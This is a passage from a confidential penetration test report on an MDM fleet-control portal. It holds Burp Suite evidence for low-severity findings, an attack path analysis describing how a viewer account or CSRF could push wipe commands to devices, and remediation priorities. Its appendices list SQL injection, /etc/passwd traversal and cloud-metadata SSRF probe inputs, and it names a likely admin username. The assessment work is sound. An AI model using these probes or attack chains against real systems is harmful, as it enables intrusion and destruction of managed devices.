User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://udm.dev.aioapp.com/

Burp Suite Response:
HTTP/2 200 OK
Date: Thu, 04 Jun 2026 06:48:50 GMT
Content-Type: application/json
Content-Length: 25

{"status":"ok","db":"ok"}      <- confirms a relational DB backend to anyone, unauthenticated

```

BUSINESS / TECHNICAL IMPACT

Confirms an attackable persistence backend and allows an attacker to time an attack against a backend outage. Intentionally low severity - health endpoints are necessary; listed for awareness.

REMEDIATION

Serve /health (or /healthz) only on the internal listener consumed by the AWS Target Group, not on the public ELB listener. If it must stay public, strip the db field and return only {"status":"ok"}.

F-09

INFO

Load-Balancer Banner awselb/2.0 Leaked on TRACE / Error

SEVERITY

INFO

CVSS v3.1

0.0 / 10.0

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

CWE

CWE-200 Exposure of Sensitive Information

OWASP

A05:2021

Where: Responses generated by the AWS ELB (TRACE, malformed Host)

DESCRIPTION

The upstream Go app is correctly silent about its Server header; only the AWS ELB advertises itself on responses it generates directly.

PROOF OF CONCEPT - Burp Suite evidence

```

Burp Suite Request:
TRACE /login HTTP/2
Host: udm.dev.aioapp.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://udm.dev.aioapp.com/

Burp Suite Response:
HTTP/2 405 Method Not Allowed
Server: awselb/2.0
  ^ banner only on ELB-generated responses; the Go app stays silent.

```

```

Burp Suite Request:
GET / HTTP/2
Host: evil.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36

Burp Suite Response:
HTTP/2 503 Service Unavailable
Server: awselb/2.0

You have reached an invalid destination!

```

BUSINESS / TECHNICAL IMPACT

Informational - reveals the public face is an AWS ALB. No application-level leakage.

REMEDIATION

Property of AWS ELB; no action required beyond noting the ALB front and tuning WAF / Shield posture accordingly.

F-10

INFO

External Google Fonts Dependency on the Login Page

SEVERITY	CVSS v3.1	CWE	OWASP
INFO	0.0 / 10.0 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N	CWE-829 Inclusion of Functionality from Untrusted Sphere	A05:2021

Where: /login HTML markup

DESCRIPTION

The login page loads IBM Plex Sans / JetBrains Mono from Google Fonts, exposing users to Google's IP-level telemetry on every render and adding a third-party availability and supply-chain dependency.

PROOF OF CONCEPT - Burp Suite evidence

Excerpt from the GET /login response body:

```

Burp Suite Request:
GET /login HTTP/2
Host: udm.dev.aioapp.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://udm.dev.aioapp.com/

Burp Suite Response:
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8

<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=IBM+Plex+Sans:...
family=JetBrains+Mono..." rel="stylesheet">

```

BUSINESS / TECHNICAL IMPACT

Privacy: third-party telemetry on an enterprise device-management login. Supply chain / availability: hijack or outage of the font origin affects login render. Risk low but non-zero.

REMEDIATION

Self-host the font files under /static/fonts/ with font-display: swap. If the external link is retained, add integrity + crossorigin attributes.

F-11

LOW

No Application-Level Rate Limiting on API-Key Endpoints

SEVERITY

LOW

CVSS v3.1

3.7 / 10.0

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

CWE

CWE-307 Improper
Restriction of Excessive
Authentication
Attempts

OWASP

A07:2021

Where: /api/v1/devices, /groups, /commands, /ws, /checkin

DESCRIPTION

Auth-failing API requests are not rate-limited; the ~1 s constant-time response (bcrypt-class verification) is a strong soft limiter against single hosts but not a true rate-limit against a distributed attacker.

PROOF OF CONCEPT - Burp Suite evidence

```

Burp Suite Request:
GET /api/v1/devices HTTP/2
Host: udm.dev.aioapp.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://udm.dev.aioapp.com/
X-API-Key: invalid-key-000

Burp Suite Response:
HTTP/2 401 Unauthorized
Date: Thu, 04 Jun 2026 06:52:10 GMT
Content-Type: application/json
{"error":"invalid admin api key"}

```

```

=== 30 consecutive auth-failing API requests from one client ===
All 30 returned HTTP 401 {"error":"invalid admin api key"}
No 429, no Retry-After, no IP block.
Per-request latency ~1.0-1.3 s (constant - bcrypt-class verification on failure).

```

BUSINESS / TECHNICAL IMPACT

A distributed attacker can still issue many guesses per second across sources. Impact is bounded by key entropy, but worth tightening for a fleet-control API.

REMEDIATION

- Per-IP token-bucket on failed auth (e.g. 30/min/IP, then 429 with Retry-After).
- Per-key-prefix tracking: block early if a single source enumerates distinct key values.
- Ensure keys are at least 256-bit random and HMAC-compared in constant time.

F-12

• INFO

Login Page Sets No Cache-Control Header

SEVERITY

• INFO

CVSS v3.1

0.0 / 10.0

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N

CWE

CWE-525 Information Exposure Through Browser Caching

OWASP

A05:2021

Where: /login, /, /health

DESCRIPTION

Authenticated pages and the login form set no Cache-Control header, so credential-bearing or session-bound content may be cached by shared proxies and browsers.

PROOF OF CONCEPT - Burp Suite evidence

```

Burp Suite Request:
GET /login HTTP/2
Host: udm.dev.aioapp.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://udm.dev.aioapp.com/

```

```

Burp Suite Response:
HTTP/2 200 OK
Date: Thu, 04 Jun 2026 06:48:22 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1890

```

(no cache-control header present on the login form or authenticated pages)

BUSINESS / TECHNICAL IMPACT

Potential caching of login forms / authenticated content by shared proxies and browsers.

REMEDIATION

Add Cache-Control: no-store on authenticated pages and login forms.

09

Attack Path Analysis

Primary Path - Viewer Account (or CSRF) → Destructive Fleet Command. A low-privilege viewer - or any attacker who lures a logged-in viewer to a malicious page (GB-03, no CSRF / Origin validation) - POSTs to /devices/{serial}/commands. The control plane enforces only a 3-item denylist (reboot, install_apk, shell), so wipe, factory_reset, ota_install, upgrade, lock, unlock and arbitrary types are accepted, persisted, and dispatched to the device WebSocket (GB-01). Today the on-device agent refuses the destructive types, so impact is latent; a single agent-side regression, firmware change, or message replay over an alternate transport converts this into a fleet-wide wipe initiated by the lowest-privilege role.

Secondary Path - Cookie Capture → 24-Hour Persistent Access. The session cookie lacks Secure and is served on a host with no HSTS (F-02, F-03), opening a TLS-stripping / cleartext window; missing CSP (F-04) and CDN scripts without SRI (GB-07) add browser-side capture vectors. Because logout performs no server-side revocation and the token lives 24 h with no idle timeout (GB-04, GB-08), a captured cookie grants uninterrupted access for the full lifetime - the victim cannot self-rescue and an admin cannot revoke a single session. From that session the attacker reads fleet-wide command history, logcat, telemetry and the internal S3 bucket name (GB-05).

Tertiary Path - Unauthenticated Recon → Admin Credential Compromise. With no credentials, an attacker harvests a likely admin username (muhammadali), device / serial naming conventions and capability advertisements from /static/preview.html (F-05, exposed via the directory listing F-06), then password-sprays the login - which has no rate-limit, lockout, CAPTCHA or CSRF token (F-01). A recovered admin credential yields the full command set (shell, install_apk, wipe) over the same authorization-deficient control plane, escalating the Primary Path to immediate fleet impact.

10

Risk Ranking & Remediation Roadmap

Remediation is prioritised by risk and sequenced P0 (immediate) through P3. P0 items are the only ones that give a low-privilege or unauthenticated actor fleet impact and should ship first.

P0

- **GB-01** - Fix function-level authorization on POST /devices/{id}/commands: switch from a 3-item denylist to a role-keyed allowlist; require step-up auth for destructive commands; validate command type before any DB write. **This is the only finding that gives a low-privilege account fleet-impact - ship it first.**
- **GB-03 / F-01** - Add origin-bound CSRF protection on every POST route (one middleware: validate Origin / Sec-Fetch-Site; add synchronizer token if needed).

P1

- **GB-04 / GB-08** - Move to server-side session storage (Redis/Postgres): opaque session ID, logout deletes the row, admin revoke. Interim: add session_version to the signed cookie.
- **F-02 / GB-08** - Harden the session cookie: Secure, SameSite=Lax, rename to __Host-mdm-session; cut absolute lifetime to 8 h; add 30-min idle timeout.
- **F-05 / F-06** - Remove /static/preview.html and disable directory autoindex on /static/; audit for other dev-only artifacts.
- **F-01** - Per-IP + per-account rate limiting and lockout on POST /login; enforce MFA on admin and operator roles.

P2

- **F-03 / F-04** - Add the standard security-header set at the proxy / ELB target: HSTS, CSP (script-src 'self', frame-ancestors 'none'), X-Frame-Options, Referrer-Policy, Permissions-Policy, COOP/CORP.
- **GB-07** - Self-host or pin (SRI) htmx and chart.js.
- **F-07** - Normalize unauthenticated responses: HTML routes redirect to /login; API returns uniform 401 {"error": "unauthorized"}.
- **GB-06** - Auth-order audit: every handler runs authn -> role-check -> input-validation -> resource-lookup -> action.
- **GB-05** - Redact apk_url and internal URLs in viewer-readable command details; verify S3 bucket ota-update-packages has Block Public Access.

P3

- **F-08** - Move /health off the public listener or trim the body.
- **F-11** - Add API-key rate-limiting beyond the implicit bcrypt delay.
- **F-10** - Self-host fonts (privacy + supply-chain).
- **F-12** - Add Cache-Control: no-store on authenticated pages.

11

Appendices

Appendix A - Positive Security Controls

The following controls were verified to be correctly implemented and meaningfully reduce risk. They should be acknowledged and preserved through remediation of the findings above.

Control	Evidence
TLS protocol versions	TLS 1.0/1.1 cleanly rejected (alert protocol version); TLS 1.2 (ECDHE-RSA-AES128-GCM-SHA256) and TLS 1.3 supported.
TLS certificate	Valid AWS-issued cert (Amazon RSA 2048 M04), SAN dev.aioapp.com / *.dev.aioapp.com, validity 2026-05-10 to 2026-11-23.
Cookie integrity	HMAC-signed (gorilla/securecookie). Forged, tampered, and replayed cookies rejected with 403 across multiple payloads.
HttpOnly cookie	mdm-session is flagged HttpOnly, blocking document.cookie access from injected JS.
Session role not tamperable	user_role is inside the HMAC-signed payload; altered-role bytes are rejected with 403. HTML-route authz uses the session role correctly.
Login error message	Generic "Invalid credentials" regardless of user existence; identical 1,956-byte response for unknown user and wrong password (no enumeration).
Timing - user enumeration	~1.0 s latency independent of whether the username exists (constant-time bcrypt verification).
SQL injection on login	Boolean and time-based payloads (admin' OR '1'=1, pg_sleep(3)) produced identical generic errors with no time signal.
SQL injection on /export	Boolean (1=1 vs 1=2) identical body sizes; time-based pg_sleep(3) produced no delay; serials param HTML-escaped.
XSS reflection	Username/password not reflected; ?error= / ?next= reflection vectors absent; command type rendered HTML-escaped on list and detail pages.
HTTP method restriction	Unused methods return 405 with explicit Allow; PUT/DELETE/PATCH on resource routes -> 405; TRACE blocked at the ELB.
Auth-first request handling	API endpoints check auth before parsing path or body; path-segment injection, null-byte, and traversal payloads fail with 401, not 500.
Path traversal	/static/../../etc/passwd and encoded variants return 404/403; Go path-cleaning intact on authenticated routes too.
Host header validation	ELB returns 503 for unknown Host; X-Forwarded-Host does not alter routing.
CORS configuration	OPTIONS preflight not handled (405) - credentialed cross-origin XHR with custom headers effectively impossible.

Control	Evidence
API key separation	Distinct admin / device key classes; admin-plane compromise does not grant device-plane access or vice versa.
Web / API separation	The web session cookie is NOT accepted on /api/v1/*; that surface requires the admin or device API key.
WebSocket auth	/api/v1/ws rejects session cookies and admin keys - requires the device API key (correct least-privilege).
No SSRF via apk_url	apk_url to 240.0.0.1 / example.com / 169.254.169.254 all return in ~1.1 s (baseline) - server does not fetch at create-time.
Verbose errors	No stack traces, framework banners, or backend identifiers under malformed JSON / multipart / oversized-body conditions.

Appendix B - Endpoints Mapped

Combined unauthenticated + viewer-authenticated view of the routes exercised during testing.

Path	Methods	Auth class	Notes
/	GET	none -> 302	Redirects to /login; after login -> device list.
/login	GET, POST	none	POST sets mdm-session. No CSRF token (F-01).
/logout	POST	session	Browser cookie cleared; server-side session NOT invalidated (GB-04).
/users	GET	session+role	403 to viewer (admin-only) - correct.
/settings	GET	session+role	403 to viewer (admin-only) - correct.
/setup/*	-	session+role	403/405 to viewer (admin app-management) - correct.
/groups	GET	session	Group list (read). PUT/DELETE -> 405.
/groups/{uuid}	GET	session	Group detail; viewer sees members only.
/productions	GET	session	Production runs with serial ranges (read).
/commands	GET, POST	session	GET list (read, BOLA via F-style cross-read); top-level POST 302 w/o create.
/commands/{uuid}	GET	session	Any user's command readable (GB-05).
/commands/{uuid}/resend	POST	session	Creates a new command record. No CSRF token (GB-03).
/updates	GET	session	OTA packages list (read).
/devices/{id}	GET	session	Device detail. PUT/POST/DELETE -> 405.
/devices/{id}/commands	POST	session	BROKEN AUTHZ - the GB-01 endpoint.
/devices/{id}/history	GET	session	Device event history.
/devices/{id}/logcat	GET	session	Stored logcat (read).
/devices/{id}/packages	GET	session	Installed-packages snapshot.
/export	GET	session	CSV-export staging; reflects serials param HTML-escaped.
/health	GET	none	{"status":"ok","db":"ok"} (F-08).
/static/	GET	none	Directory listing (F-06); preview.html disclosure (F-05).

Path	Methods	Auth class	Notes
/api/v1/devices groups commands logcat	GET/POST	admin API key	401 invalid admin api key - session cookie not accepted.
/api/v1/ws	GET (Upgrade)	device API key	Session cookie rejected - "invalid device api key".
/api/v1/checkin	POST	device API key	Device-agent check-in.

Appendix C - Commands Persisted During Testing

Every command UUID created during the gray-box session, with target device, type, and final status. All are safe to delete - none executed on the device (destructive types ended in status failed at the on-device agent).

Command UUID	Type	Target serial	Status
26fc70eb-2429-4274-afd7-1165d6ea50dd	screenshot	AT070AABU00442	completed
515f521a-7184-4c99-acdc-f9517778009f	logcat	AT070AABU00442	failed
5cdac668-d8e7-486b-9587-3f72ba113651	factory_reset	AT070AABU00442	failed
fef32aca-efb6-4b8e-b046-f03b085a3407	pull_logs	AT070AABU00442	failed
22605057-40da-4b2e-8ac1-7ee415d57aed	lock	AT070AABU00442	failed
959d011d-1af4-4a78-a097-c9bfc22b93b5	unlock	AT070AABU00442	failed
5d779d90-2d7a-48c9-aaa3-ffdc28e362c5	wipe	AT070AABU00442	failed
1e4d1791-efd3-4016-8548-4c3c84636f75	upgrade	AT070AABU00442	failed
a3d7df31-daa9-4c74-95f3-6996d9fd9a98	ota_install	AT070AABU00442	failed
f4af0198-52ea-4b30-9706-52ea29eb2d23	custom (probe)	AT070AABU00442	failed
7bbaf9b3-bd9b-402f-86ee-64392f559a96	arbitrary-string (probe)	AT070AABU00442	failed
f3b0fede-f96f-43b9-afdf-fab93d1407a9	screenshot (CSRF probe)	AT070AABU00442	failed/completed
ad9f2208-5400-4b89-aa14-ba5998e42487	screenshot (resend probe)	AT070AABU00442	failed/completed

Report Sign-Off

Role	Name & Designation	Date
Lead Penetration Tester	Saifullah Khan Senior Cyber Security Specialist	2026-06-08
Penetration Tester	Muhammad Furqan Cyber Security Specialist	2026-06-08
Reviewer (VCISO)	Aun Raza Virtual Chief Information Security Officer	2026-06-08

TSAI Fleet - MDM Portal Penetration Test | udm.dev.aioapp.com | 2026-06-08

Prepared by: Saifullah Khan & Muhammad Furqan

CONFIDENTIAL · INTERNAL USE ONLY